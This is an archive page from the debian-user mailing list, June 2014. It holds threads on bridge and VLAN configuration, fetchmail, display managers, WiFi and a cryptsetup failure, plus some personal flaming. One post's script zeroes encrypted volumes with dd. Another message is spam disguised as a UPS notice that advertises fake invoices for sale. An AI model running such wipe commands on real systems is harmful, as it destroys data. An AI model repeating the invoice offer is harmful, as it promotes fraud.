On server 2

/etc/network/interfaces

auto br0

allow-hotplug eth0
 iface eth0 inet manual

allow-hotplug wlan0
 iface wlan0 inet manual

iface br0 inet static
  bridge_ports eth0 wlan0
  address 192.168.1.2
  netmask 255.255.255.0
  gateway 192.168.1.1

you may want to check
https://wiki.debian.org/WiFi/HowToUse

on how to setup your wireless securely

-H




-- 
Henning Follmann   | hfollm...@itcfollmann.com


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: https://lists.debian.org/20140605174210.gb24...@newton.itcfollmann.com

Re: When bug fixes are applied on stable ?

Ahoj,

Dňa Thu, 5 Jun 2014 16:52:05 +0100 Joe  napísal:

> > 
> > dpkg-reconfigure gdm3
> > 
> 
> There is. I've edited /etc/X11/default-display-manager in the past. I
> believe reconfiguring any *dm that may be installed should offer the
> choice of all of them.
> 

You are right. I have no GDM3, but i was slim & lightdm at once, when i
was switching from the ligthdm to slim. Te selection the default one was
done by reconfigure the one or the second one.

There was only one thing, the old DM i need to stop and new to start
manually, e.g.

invoke.rc-d lightdm stop
invoke.rc-d slim start

Of course, the it can be done in once by computer restart.

-- 
Slavko
http://slavino.sk


signature.asc
Description: PGP signature

Re: Should I install chkrootkit?

2014-06-05 Thread Bob Holtzman

On Wed, Jun 04, 2014 at 09:55:32PM -0700, Horatio Leragon wrote:
> 
> 
>  From: Ralf Mardorf 
> To: d-community-offto...@lists.alioth.debian.org 
> Cc: debian-user  
> Sent: Wednesday, June 4, 2014 8:37 PM
> Subject: Re: Should I install chkrootkit?
>  
> 
> > Horatio, please subscribe to 
> > http://lists.alioth.debian.org/mailman/listinfo/d-community-offtopic too 
> > and please, only reply to the 
> > list, you missed to take care about the "reply to the list only 
> > commandment".
> 
> Yes, Moses. Is this your 11th commandment, but you must have run out of clay 
> tablets to inscribe it on, no?
> 
> Why should I subscribe to "d-community-offtopic"? Isn't chkrootkit a Debian 
> package?

No, it's a linux package. Debian in merely one of the distros that
carries it in their repos.

-- 
Bob Holtzman
A man is a man who will fight with a sword
or tackle Mt Everest in snow, but the bravest 
of all owns a '34 Ford and tries for 6000 in low.


signature.asc
Description: Digital signature

Do I need configure bridge interface?

2014-06-05 Thread Pol Hallen


Hi all :-)
Easy situation:

server1:
eth0 --> internet
eth1 --> 192.168.1.0/24 ip 192.168.1.1

server2

eth0 --> 192.168.1.0/24 ip 192.168.1.2
wlan0 (with hostapd) --> 192.168.2.0/24 ip 192.168.2.1

runs ;-)

I'd like re-configure like this:

server1:
eth0 --> internet
eth1 --> 192.168.1.0/24 ip 192.168.1.1

server2

eth0 --> 192.168.1.0/24 ip 192.168.1.2
wlan0 (with hostapd) --> 192.168.1.0/24 ip 192.168.1.3

and all clients that connect to hostapd (via dhcpd) having 
192.168.1.0/24 network


how I put wlan0 of server2 to 192.168.1.0/24?

thanks for help!

Pol


--
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Archive: https://lists.debian.org/5390a27e.5010...@fuckaround.org

Re: When bug fixes are applied on stable ?

2014-06-05 Thread Joe

On Thu, 5 Jun 2014 09:22:07 + (UTC)
Curt  wrote:

> On 2014-06-05, Bob Proulx  wrote:
> >
> > My best advice is to use one of the other xdm programs such as
> > lightdm which does not suffer from that problem.  Give lightdm a
> > try and you might find it superior to gdm3.  I did.
> >
> >   apt-get install lightdm
> >
> 
> I asked myself, "How do you change the default display manager?"
> because I didn't know how, having little know-how; first I suspected
> the modification might be made through the update-alternatives
> system, but apparently not.
> 
> dpkg-reconfigure gdm3
> 
> seems to be the way to do it from what I've read so far. Maybe there's
> more than one way to skin this cat (I love cats by the way and no
> actual animals were damaged or maligned writing this post).
> 
> 

There is. I've edited /etc/X11/default-display-manager in the past. I
believe reconfiguring any *dm that may be installed should offer the
choice of all of them.

-- 
Joe


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: https://lists.debian.org/20140605165205.289d7...@jretrading.com

Re: fetchmail keep some, not all mails on server

2014-06-05 Thread Bzzz

On Thu, 05 Jun 2014 17:19:17 +0200
basti  wrote:

Except if it's a production svr, you should consider
upgrade the branch; Lenny is quite outdated (2k9).

> # fetch mails
> 

Post the whole conf, nobody can guess what you wrote
until TCP/IP/BRAIN-2-BRAIN isn't stable.

…
> Some mails with a size round of 900 bytes keep on the server and
> some mails with round 5000 bytes are delete.
> I see no schema when a mail in keep and when not.

Which mail provider?
 
-- 
It is not because one thing is a law that it is just,
it is because it is just that it should be a law.
-- Montesquieu


--
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: https://lists.debian.org/20140605173337.779227be@anubis.defcon1

fetchmail keep some, not all mails on server

2014-06-05 Thread basti

Hello @all,

I run a fetchmail daemon on my router.
Debian Version 5
Fetchmail Version 6.3.9-rc2+GSS+NTLM+SDPS+SSL+NLS+KRB5

My config looks like

# Configuration created Mon Jun 10 11:55:32 2002 by fetchmailconf
#set postmaster "postmaster"
#set bouncemail
#set no spambounce
#set properties ""

# own Log
set no syslog
set logfile /var/log/fetchmail.log
# mit preconnect und postconnect we get the date in the logfile

# fetch mails


There is no "keep" or "no keep" option set so fetchmail should delete
every received mail.
There is also no limit set in the config.

Some mails with a size round of 900 bytes keep on the server and some
mails with round 5000 bytes are delete.
I see no schema when a mail in keep and when not.

Can somebody explain this behaivior?
Or/ And can somebody tell me the right option to solve this?

I dont want so get allredy fetched mails a 2nd time.

is "no keep" the right one? -- is there a global option? (There are
round 100 mail addresses)
or is --flush the right one?
(http://www.fetchmail.info/fetchmail-FAQ.html#O14)


Thanks for any help.
Basti


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: https://lists.debian.org/53908a75.9070...@arcor.de

Re: bridges with multiple static IPs or DHPC - how to configure?

2014-06-05 Thread Curt

On 2014-06-05, Steffen Dettmer  wrote:
>
>   $ ip link set eth1 nomaster
>   $ ip link set eth0 nomaster
>   $ ip link del br1
>
> Do you - or anyone else - know the ip replacement for "brctl show"?
>
> "ip link show br1" is too brief, no information about the slave
> devices or STP mode.
>

ip -stats link show br1 ?

or

ip -stats -stats link show br1

outputs even more info, but whether the desired info is in there I don't
know.


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: https://lists.debian.org/slrnlp11jl.29v.cu...@einstein.electron.org

Thought you might be interested in this from UPS

2014-06-05 Thread 33690984

Your colleague,
亲：开企业【票】135-3096-9936蒋生QQ:1411459116
%D%A
本公司有各种；普*增，服务业，建筑业，广告业，运输业，酒店业，机械*设备，工程费，培训费，设计费，装饰费，房地产，建材，租赁费，会议费，咨询费，设计费等）优惠代-开；验-后付-款，需要请电135-3096-9936蒋生QQ:1411459116,
has sent the following message:

good lucky

Here's a link to the page
亲：开企业【票】135-3096-9936蒋生QQ:1411459116
%D%A
本公司有各种；普*增，服务业，建筑业，广告业，运输业，酒店业，机械*设备，工程费，培训费，设计费，装饰费，房地产，建材，租赁费，会议费，咨询费，设计费等）优惠代-开；验-后付-款，需要请电135-3096-9936蒋生QQ:1411459116
wanted you to see:

Getting Started
http://www.ups.com/content/us/en/bussol/browse/get_started/index.html?WT.svl=SubNav

===

� 2011 United Parcel Service of America, Inc. UPS, the UPS brandmark, and the
color brown are trademarks of United Parcel Service of America, Inc. All rights
reserved.
For more information on UPS's privacy practices, refer to the UPS Privacy
Policy.
Please do not reply directly to this e-mail. UPS will not receive any reply
message.
For questions or comments, Contact UPS.

This communication contains proprietary information and may be confidential. If
you are not the intended recipient, the reading, copying, disclosure or other
use of the contents of this e-mail is strictly prohibited and you are
instructed to please delete this e-mail immediately.
Privacy Policy:
http://www.ups.com/content/us/en/resources/ship/terms/privacy.html
Contact UPS: http://www.ups.com/content/us/en/contact/index.html

UPS may remove any message or decline to transmit any email in its sole
discretion.

Copyright (c) 2014 United Parcel Service of America, Inc. UPS, the UPS
brandmark, and the color brown are trademarks of United Parcel Service of
America, Inc. All rights reserved.
For more information on UPS's privacy practices, refer to the UPS Privacy
Policy.
Please do not reply directly to this e-mail. UPS will not receive any reply
message.
For questions or comments, visit Contact UPS.
This communication contains proprietary information and may be confidential.
If you are not the intended recipient, the reading, copying, disclosure or
other use of the contents of this e-mail is strictly prohibited and you are
instructed to please delete this e-mail immediately.

Privacy Notice
http://www.ups.com/content/us/en/resources/ship/terms/privacy.html

Contact UPS
http://www.ups.com/content/us/en/contact/index.html

Re: bridges with multiple static IPs or DHPC - how to configure?

2014-06-05 Thread Steffen Dettmer

Hi!

thanks so much for you mail. As I wrote in my other mail just a
minute ago, it seems I solved the issue (and it works in one of
the most intuitive ways).

Thanks so much, you already helped so much to tackle down
my VLAN problem last year (where to solution was, not to install
package vlan when using VLAN).

On Wed, Jun 4, 2014 at 11:59 PM, Tom H  wrote:
> On Wed, Jun 4, 2014 at 2:00 PM, Steffen Dettmer:
>> Of course everything works as expected when configuring manually
>> with "ip", "brctl" etc.
>
> (By the way, you don't need brctl; "ip link" can create bridges.)

Ohh, I see, man ip-link (not "man ip" as I tried before).
Thanks for pointing that out!

I case someone else also has difficulties to find that, like me,
here an example:

  $ ip link add name br1 type bridge
  $ ip link set eth0 master br0
  $ ip link set eth1 master br0

  $ ip link set eth1 nomaster
  $ ip link set eth0 nomaster
  $ ip link del br1

Do you - or anyone else - know the ip replacement for "brctl show"?

"ip link show br1" is too brief, no information about the slave
devices or STP mode.

How to enable STP (and set timeouts etc) using ip?

>> otherwise no bridge can use it any only gives an error message
>> like "interface eth3.14 does not exist!".

Update: This message appears only if using "ifup br0",
but NOT when booting. Seems networking start is smart
enough to bring slave devices up before the bridge.

The conclusion is that "ifdown  && ifup " is not suited
for testing.

> I suspect that the bridge-utils-interfaces man page refers to physical
> interfaces. You might want to file an RFE bug for it to work for
> vlan-tagged interfaces so that:
>
> iface br0.100
> bridge_ports eth0.100

Ohh, thanks to bringing this into attention.
This happily creates a bridge called "br0.100" (without VLAN) :-)
so the implicite magic like "eth0.10" creating a VLAN tag 10 does
not apply here, good to know.

For the case that the bridge shall bridge VLAN transparently on
all physical ports, but itself should be in a VLAN 100.
This would be like a fully transparent VLAN switch with a
management interface in a VLAN.

With ip it works straight-forward:

have in /etc/network/interfaces:
# bridge all VLANs
iface br0
  bridge_ports eth0 eth1...

and add VLAN interface to the bridge:

$ ip link add link br7 name br7.10 type vlan id 100

I guess (not tested) when one tagged interface such as eth2.101
is in the bridge, it would get the br7.10 traffic with tag 101.

I think at least it should work when using

iface br0
  bridge_ports eth0 eth1...
  up ip link add link br7 name br7.10 type vlan id 100

> This might work:

Yes, almost. I tried that with minor modifications it does work:

> iface br0 inet static
> address 10.1.1.1
> netmask 255.255.255.248
# NO: gateway 10.1.1.254
# must be in network of course (SCNR :)):
gateway 10.1.1.7
> bridge_ports eth0
> bridge_ports eth1
>
> iface br0 inet static
> address 10.1.1.2
> netmask 255.255.255.248
# NO: gateway - can have only one default route without printing an error
#NO: bridge_ports eth0
#NO: bridge_ports eth1

When bridge_ports appear again, it does not work. It could be
that in such cases the bridge gets created again - thus losing
all previously configured properties.

Regards,
Steffen

-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: 
https://lists.debian.org/caobounpzshglojs8-jdbxrjjm8428dq3nfct7gm3fqhcpcb...@mail.gmail.com

Re: Post-installation: how to auto-configure network adapter (ie. enable internet access)?


On 6/5/2014 9:11 AM, Terence wrote:

Surely there must be a reason why my spam filter keeps putting "Horatio
Leragon" posts into my "Spam" folder, and results in the list telling me
they are receiving bounces from me.

I wonder what it can be. Does anyone know?


Sounds like you've got an intelligent SPAM filter.

Jerry


--
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Archive: https://lists.debian.org/53907a7c.5050...@attglobal.net

Re: Post-installation: how to auto-configure network adapter (ie. enable internet access)?


On 6/5/2014 1:16 AM, Horatio Leragon wrote:


*From:* Jerry Stuckle 
*To:* debian-user@lists.debian.org
*Sent:* Thursday, June 5, 2014 11:18 AM
*Subject:* Re: Post-installation: how to auto-configure network adapter
(ie. enable internet access)?

 > No arguments there, Bob.



If I were you, Jerry Stuckup, I would do some soul-searching to find out
why I am being judgemental, unkind, full of hate and mistrust, wasting
my life away at the computer.


Ah, yes - that third grade name calling again.  And you can't even spell 
"judgmental".


No, I'm not full of hate and mistrust.  But I also am not a sucker.

Jerry


--
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Archive: https://lists.debian.org/53907a50.1000...@attglobal.net

Re: Post-installation: how to auto-configure network adapter (ie. enable internet access)?

On 6/5/2014 1:03 AM, Horatio Leragon wrote:

*From:* Jerry Stuckle 
*To:* debian-user@lists.debian.org
*Sent:* Wednesday, June 4, 2014 9:15 PM
*Subject:* Re: Post-installation: how to auto-configure network adapter
(ie. enable internet access)?

 > YOU aren't.  You refuse to learn.  The rest of us use CURRENT
DOCUMENTATION.

Again, you are being judgemental and unkind in your remark. It shows you
harbor a lot of hate and mistrust in your heart.

Anyone who quotes a blog entry over six years old has no reason to 
question when someone knowledgeable tells him otherwise.

 > I only care about those willing to take responsibility for their
actions and knowledge.

Just who do you think you are on this mailing list? God's gift to
mankind? Bah!

And you call ME judgmental?  ROFLMAO!

No, I'm not God's gift to mankind.  But I'm also not your unpaid 
consultant/tutor because you are too lazy (or, as I'm beginning to 
think, too stoopid) to take responsibility for your own learning.

Jerry

--
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Archive: https://lists.debian.org/53907a07.6060...@attglobal.net

Re: cryptsetup problem

2014-06-05 Thread Andrew McGlashan

On 5/06/2014 11:06 AM, Andrew McGlashan wrote:
> I'm not sure that pv isn't part of the problem, so I've adjusted to stop
> using it.

Another failure, this time in /normal/ run, not dropbear environment.

It's not pv.

> Here's a simple bash script that will do the job for me, just started it
> again -- been too busy to follow up before now.
> 
> #!/bin/bash
> 
> function dd_progress()
> {
>   DD_PID=$(pidof dd)
>   while [ ! -z "$DD_PID" ]
>   do
>   echo "DD_PID: $DD_PID"
>   pstree -alphG $DD_PID
>   date
>   kill -USR1 $DD_PID
>   if [ ! -z "$(pidof dd)" ];then sleep 300;fi
>   DD_PID=$(pidof dd)
>   done
> }
> 
> for crypt_vol in md1_crypt md2_crypt
> do
>   echo "zero $crypt_vol"
>   dd if=/dev/zero of=/dev/mapper/$crypt_vol bs=128M &
>   dd_progress
>   echo -e "  end $crypt_vol\n\n"
> done

The above script worked fine  for around 45 minutes.

Oddly I could use a keyboard and screen to enter a username, but never
got a password prompt for hours.  The keyboard was still able to cycle
through ttys though.  No network connectivity either.  So, another reboot.

This seems like a lost cause right now :(

> I am hoping that I won't be needing any special or different kernels for
> this box -- it is a brand new N4800Eco unit (Thecus).  I have two in
> fact, both are behaving the same way.  Hopefully I get one sorted then
> use that knowledge for the other box.

Haven't tried other kernels, don't have time for that now.  Not sure
when I'll be able to revisit this.

Cheers
A.



signature.asc
Description: OpenPGP digital signature

Re: Remove unwanted, orphaned files and dependencies

On 6/5/2014 1:13 AM, Horatio Leragon wrote:

*From:* Bob Holtzman 
*To:* debian-user@lists.debian.org
*Sent:* Thursday, June 5, 2014 5:45 AM
*Subject:* Re: Remove unwanted, orphaned files and dependencies

 > Ralph, I think your wasting bandwidth on this guy. He's been told
this more than once yet he comes back with another question that
 > can be answered with a search.

I now understand why Ubuntu is way more popular than Debian because the
former has an awesome forum full of kind-hearted, non-judgemental people
who do not pontificate, preach or teach beginners how to live life.

Bob, you could have simply ignored my posts and move on to answer other
posts. I just don't understand why you and Jerry Stuckup would want to
waste your time on me. No use pontificating to me.

LOL!  Last time I was called that was in third grade or so.  It shows 
your level of maturity.  But then you've already shown that.

And you call ME judgmental?  ROFLMAO!

Jerry

--
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Archive: https://lists.debian.org/539078db.4090...@attglobal.net

Re: Post-installation: how to auto-configure network adapter (ie. enable internet access)?

2014-06-05 Thread Mike McGinn


On Thursday, June 05, 2014 09:36:09 Brad Rogers wrote:
> On Thu, 5 Jun 2014 14:11:25 +0100
> Terence  wrote:
> 
> Hello Terence,
> 
> >Surely there must be a reason why my spam filter keeps putting "Horatio
> >Leragon" posts into my "Spam" folder, and results in the list telling me
> 
> That's how google seem to deal with yahoo's 'DMARC p=reject' policy.
> 
> >they are receiving bounces from me.
> 
> That surprises me.  I was under the impression that google didn't bounce
> that stuff.  OTOH, the person I got the info from admit that their
> research so far is extremely limited.

Horatio ends up in my spam folder too. With all the vaunted beyesian learning 
Google brags about they still haven't figured it out.


-- 
Mike McGinn KD2CNU
Be happy that brainfarts don't smell.
No electrons were harmed in sending this message, some were inconvenienced.
** Registered Linux User 377849


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: https://lists.debian.org/201406050953.36601.mikemcg...@mcginnweb.net

Re: Post-installation: how to auto-configure network adapter (ie. enable internet access)?

2014-06-05 Thread Lisi Reisz

On Thursday 05 June 2014 14:11:25 Terence wrote:
> Surely there must be a reason why my spam filter keeps putting "Horatio
> Leragon" posts into my "Spam" folder, and results in the list telling me
> they are receiving bounces from me.
>
> I wonder what it can be. Does anyone know?

I'm getting the same thing on Gmail.  I started out telling it every time that 
the posts were not spam, which got tedious.  Then I decided that Gmail 
obviously knew something I didn't - and anyway was saving me a job since it 
saved me having to kill-file him.

Lisi

-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: https://lists.debian.org/201406051448.55859.lisi.re...@gmail.com

Re: Post-installation: how to auto-configure network adapter (ie. enable internet access)?

2014-06-05 Thread Brad Rogers

On Thu, 5 Jun 2014 14:11:25 +0100
Terence  wrote:

Hello Terence,

>Surely there must be a reason why my spam filter keeps putting "Horatio
>Leragon" posts into my "Spam" folder, and results in the list telling me

That's how google seem to deal with yahoo's 'DMARC p=reject' policy.

>they are receiving bounces from me.

That surprises me.  I was under the impression that google didn't bounce
that stuff.  OTOH, the person I got the info from admit that their
research so far is extremely limited.

-- 
 Regards  _
 / )   "The blindingly obvious is
/ _)radnever immediately apparent"
It's got nothing to do with the need to impress
Titanic (My Over) Reaction - 999

signature.asc
Description: PGP signature

Re: unable to mount removable media with xfce4 version 4.10.1

2014-06-05 Thread Gour

François Patte  writes:

> Since last upgrade, I cannot mount (or umount) any removable media
> under xfce4:
>
> I can see the icon on the desktop, mouse over indicates that the media
> is not mounted and if I ask (mouse left click) to mount them the
> answer is: not authorized operation

Ohh, good I'm not the only one. :-)


Sincerely,
Gour

-- 
In the material world, one who is unaffected by whatever good 
or evil he may obtain, neither praising it nor despising it, 
is firmly fixed in perfect knowledge.


pgpnPBRl1L6Rt.pgp
Description: PGP signature

Re: bridges with multiple static IPs or DHPC - how to configure?

2014-06-05 Thread Steffen Dettmer

Hi all,

thanks for all your answers!

I think I found the solution:
all bridge parameters must go into the first iface stanza.
Subsequent stanzas configure IPs and/or DHCP.
Using allow-hotplug instead of auto, the bridge is not bought up
at boot and can be started asynchrously by some script.

Yesterday I was sure that I tested this as one of the options,
even at the very beginning; obviously I made a mistake, sorry.

Working Example:
  auto eth1.77
  iface eth1.77 inet manual

  auto eth2.78
  iface eth2.78 inet manual

  allow-hotplug br0
  iface br0 inet static
bridge_ports eth0 eth1.77 eth2.78
bridge_stp on
bridge_waitport 0
bridge_fd 3
bridge_maxwait 0
address 172.22.9.2
netmask 255.255.0.0
  iface br0 inet static
address 10.1.4.1
netmask 255.255.255.248
  iface br0 inet dhcp

(works even without any eth0 stanza)

I reply any to Bzzz, Curt and Karl, but in one single mail
to keep list traffic lower. I hope this helps instead of just
adding confusion :)

On Wed, Jun 4, 2014 at 8:17 PM, Bzzz  wrote:
> ifconfig br0:1 192.168.1.201

Yes, even when replacing this deprecated command by

$ ip addr 192.168.1.201/24 dev br0

it works
(this I meant with "configuring manually with `ip', `brctl' etc.").

On Wed, Jun 4, 2014 at 8:28 PM, Curt  wrote:
> You looked here already?
> https://wiki.debian.org/BridgeNetworkConnections

Yes, I did, similar as the man page, it contains a simple
single-IP example only.

On Wed, Jun 4, 2014 at 10:25 PM,  wrote:
>> otherwise no bridge can use it any only gives an error message
>> like "interface eth3.14 does not exist!".
>
> Hm. have you got the "vlan" package installed?

No, I don't have. I know that installing this package breaks VLAN
configuration on Debian 7 (in contrast to the documentation).

See also:
https://lists.debian.org/debian-user/2013/10/msg01069.html
https://lists.debian.org/debian-user/2013/10/msg01065.html

>>   auto eth3.10
>>   iface eth3.10 inet static
>> address 10.72.9.17
>> netmask 255.255.255.248
>>   iface eth3.10 inet static
>> address 10.72.9.25
>> netmask 255.255.255.248
>
> Hm.. it doesn't complain about having multiple stanzas with the name
> iface !?  (I'm surprised here, so I may well learn something)

No, it doesn't complain. I think this is the way to set multiple
IP address, am I wrong?

>> The same approach as for Ethernet does not work for Bridges:
>>
>>   iface br1 inet static
>> address 10.1.1.1
>> netmask 255.255.255.248
>> bridge_ports eth3.10
>> bridge_maxwait 0
>>   iface br1 inet static
>> address 10.1.1.9
>> netmask 255.255.255.248
>> bridge_ports eth3.11
>> bridge_ports eth3.12
>> bridge_maxwait 0
>>
>> This adds all interfaces to br1, but only the IP address from the
>> last block.
>
> And you're bridging VLANs 10,11 and 12. Very unusual. If the VLANs
> should be bridged, this is usually done on the switch...

Yes, this example is artificial; better would be eth1.10, eth2.11, eth3.12.

Background:
  I think we can assume this box "is the switch".
  Later I'll need to bridge something like

- br0: wlan1 eth2.1 eth3.1 eth4.1
- ...
- brN: wlanN eth2.N eth3.N eth4.N

  or such, each with several IP addresses.

  > Using a DHCP address on a bridge interface is .. unusual. But I guess
  > there must be use cases where it is valid.

  Some shall support DHCP to ease some maintenance/testing.
  Key factor is that DHCP support shall not get lost when using bridging.

> I'd suggest something like this:
>
> # ---8<-- cut here ---8<---
> auto br0
> iface br0 inet dhcp
>   bridge-ports eth3
>   post-up ip address add 10.1.1.1/24 dev br0
>   post-up ip address add 10.1.1.9/24 dev br0
> # ---8<-- cut here ---8<---

yeah, I so far I hesitated from "scripting inside configs", it looks
to "dangerous" (where does the scripting logs? what about error handling?),

and I think Debian supports multiple IP addresses (without writing an own
script calling ip addr ...).

> or alternatively:
> auto br0:

mmm... I'm afraid using deprecated features may lead into trouble in future?

(With vlan package I already met a few :))

> I assume you only want ONE IP address from DHCP :-)

yes, up to one per VLAN.

> In general, I suspect that you are confusing VLANs with IP aliasing:

Thanks for this nice summary. Yes, it is really easy to confuse that,
but here I hope it didn't happen.

Regards,
Steffen

-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: 
https://lists.debian.org/caobounn0kgcbexnx1a+het7i69kt5pwr3comsnxucrjjzkm...@mail.gmail.com

unable to mount removable media with xfce4 version 4.10.1

2014-06-05 Thread François Patte

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

Bonjour,

Since last upgrade, I cannot mount (or umount) any removable media
under xfce4:

I can see the icon on the desktop, mouse over indicates that the media
is not mounted and if I ask (mouse left click) to mount them the
answer is: not authorized operation

Yes, I have thunar correctly configured

Strangely, I can mount CD and DVD using xfce mount plugin but this one
does not show usb disks or sticks

Any clue? (debian sid updated).

Thanks

- -- 
François Patte
UFR de mathématiques et informatique
Laboratoire CNRS MAP5, UMR 8145
Université Paris Descartes
45, rue des Saints Pères
F-75270 Paris Cedex 06
Tél. +33 (0)1 8394 5849
http://www.math-info.univ-paris5.fr/~patte
-BEGIN PGP SIGNATURE-
Version: GnuPG v1
Comment: Using GnuPG with Thunderbird - http://www.enigmail.net/

iEYEARECAAYFAlOQcHsACgkQdE6C2dhV2JUi3QCghcrzWGqS5mfa+HuHBH2a2wcl
E/0An3wwEzHJZ2dI9SHbgXpVj8hh9+ek
=3Lj1
-END PGP SIGNATURE-


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: https://lists.debian.org/53907082.90...@mi.parisdescartes.fr

Re: Post-installation: how to auto-configure network adapter (ie. enable internet access)?

2014-06-05 Thread Terence

Surely there must be a reason why my spam filter keeps putting "Horatio
Leragon" posts into my "Spam" folder, and results in the list telling me
they are receiving bounces from me.

I wonder what it can be. Does anyone know?

On 5 June 2014 06:16, Horatio Leragon  wrote:

>  --
>  *From:* Jerry Stuckle 
> *To:* debian-user@lists.debian.org
> *Sent:* Thursday, June 5, 2014 11:18 AM
>
> *Subject:* Re: Post-installation: how to auto-configure network adapter
> (ie. enable internet access)?
>
> > No arguments there, Bob.
>
>
>
> If I were you, Jerry Stuckup, I would do some soul-searching to find out
> why I am being judgemental, unkind, full of hate and mistrust, wasting my
> life away at the computer.
>

Re: where is my WiFi card? (ThinkPad T61)

2014-06-05 Thread Raffaele Morelli

2014-06-05 13:42 GMT+02:00 Stanisław Findeisen <
stf.list.debian.u...@eisenbits.com>:

> On 2014-06-05 13:08, Darac Marjal wrote:
> >> Is my integrated wireless card broken?! Or not present at all?!
> >
> > I don't know that laptop, but it probably can't hurt to also check the
> > output of 'lsusb' and 'iw list'.
>
> lsusb yields nothing interesting, but iw list:
>
> # iw list
> nl80211 not found.


I've had a T61, wifi worked after loading the necessary kernel module.

http://www.thinkwiki.org/wiki/Installing_Debian_Lenny_on_a_ThinkPad_T61#WiFi:_Intel_4965AGN

Re: where is my WiFi card? (ThinkPad T61)

2014-06-05 Thread Stanisław Findeisen

On 2014-06-05 13:08, Darac Marjal wrote:
>> Is my integrated wireless card broken?! Or not present at all?!
> 
> I don't know that laptop, but it probably can't hurt to also check the
> output of 'lsusb' and 'iw list'.

lsusb yields nothing interesting, but iw list:

# iw list
nl80211 not found.

Hm, unfortunately I don't know if WiFi ever worked on this machine, but
I am quite sure there *should* be a wireless card inside (perhaps
integrated). I also have a WiFi led here on the front panel.

Is there any way to check it without resourcing to the screwdriver? :)

-- 
http://people.eisenbits.com/~stf/
http://www.eisenbits.com/

OpenPGP: 80FC 1824 2EA4 9223 A986  DB4E 934E FEA0 F492 A63B


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: https://lists.debian.org/5390579c.4090...@eisenbits.com

Re: where is my WiFi card? (ThinkPad T61)

2014-06-05 Thread Darac Marjal

On Thu, Jun 05, 2014 at 08:29:39AM +0200, Stanisław Findeisen wrote:
> Hi
> 
> I am trying to configure WiFi on a Lenovo ThinkPad T61 laptop. I
> installed NetworkManager and in /var/log/syslog I can see:
> 
> Jun  5 07:41:42 t61whe NetworkManager[2490]:  WiFi enabled by
> radio killswitch; enabled by state file
> Jun  5 07:41:42 t61whe NetworkManager[2490]:  WWAN enabled by
> radio killswitch; enabled by state file
> Jun  5 07:41:42 t61whe NetworkManager[2490]:  WiMAX enabled by
> radio killswitch; enabled by state file
> 
> The problem is, I can't see the wireless interface, nor the wireless
> device itself!
> 
> # lspci -t -v
[cut]
> 
> Is my integrated wireless card broken?! Or not present at all?!

I don't know that laptop, but it probably can't hurt to also check the
output of 'lsusb' and 'iw list'.
> 


signature.asc
Description: Digital signature

Re: Should I install chkrootkit?

2014-06-05 Thread Weaver


On Thu, June 5, 2014 1:34 am, Slavko wrote:
> Ahoj,
>
> Dňa Wed, 4 Jun 2014 21:49:40 -0700 (PDT) Horatio Leragon
>  napísal:
>
>> > In some countries it a normal government practice.
>>
>> Yeah, my government denies that it is collecting massive amounts of
>> data on its citizens and foreigners.
>>
>> > I am not aware about chkrootkit, i am using rkhunter and it is not
>> > intended to install and run on the desktop (specifically on
>> > testing), where are changes too often, because it will reports them.

I install both.
I find they are a useful check on each other.
Cheers!

Weaver
-- 
"It is the duty of the patriot to protect his country from its  government."
 -- Thomas Paine

Registered Linux User: 554515



-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: 
https://lists.debian.org/88c9ca160db212677e662cd00f59.squir...@fruiteater.riseup.net

Re: When bug fixes are applied on stable ?

2014-06-05 Thread Lisi Reisz

On Thursday 05 June 2014 10:22:07 Curt wrote:
> dpkg-reconfigure gdm3
>
> seems to be the way to do it from what I've read so far.

Yes.  

The DE I use (Trinity) had a bug in the upgrade script such taht the dm always 
reverted to gdm on upgrade (I use, and prefer, kdm-trinity).  I took to using 
dpkg-reconfigure every time before leaving the command line where I had been 
upgrading.  You will be offered all the installed dms.  If you install a new 
dm, my experience has been taht at the time of installation you will be asked 
which dm you want as default.

Lisi

-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: https://lists.debian.org/201406051033.51103.lisi.re...@gmail.com

Re: Resizing LVM issue

2014-06-05 Thread Jochen Spieker

Miroslav Skoric:
> On 06/01/2014 11:36 PM, Jochen Spieker wrote:
> 
>> 
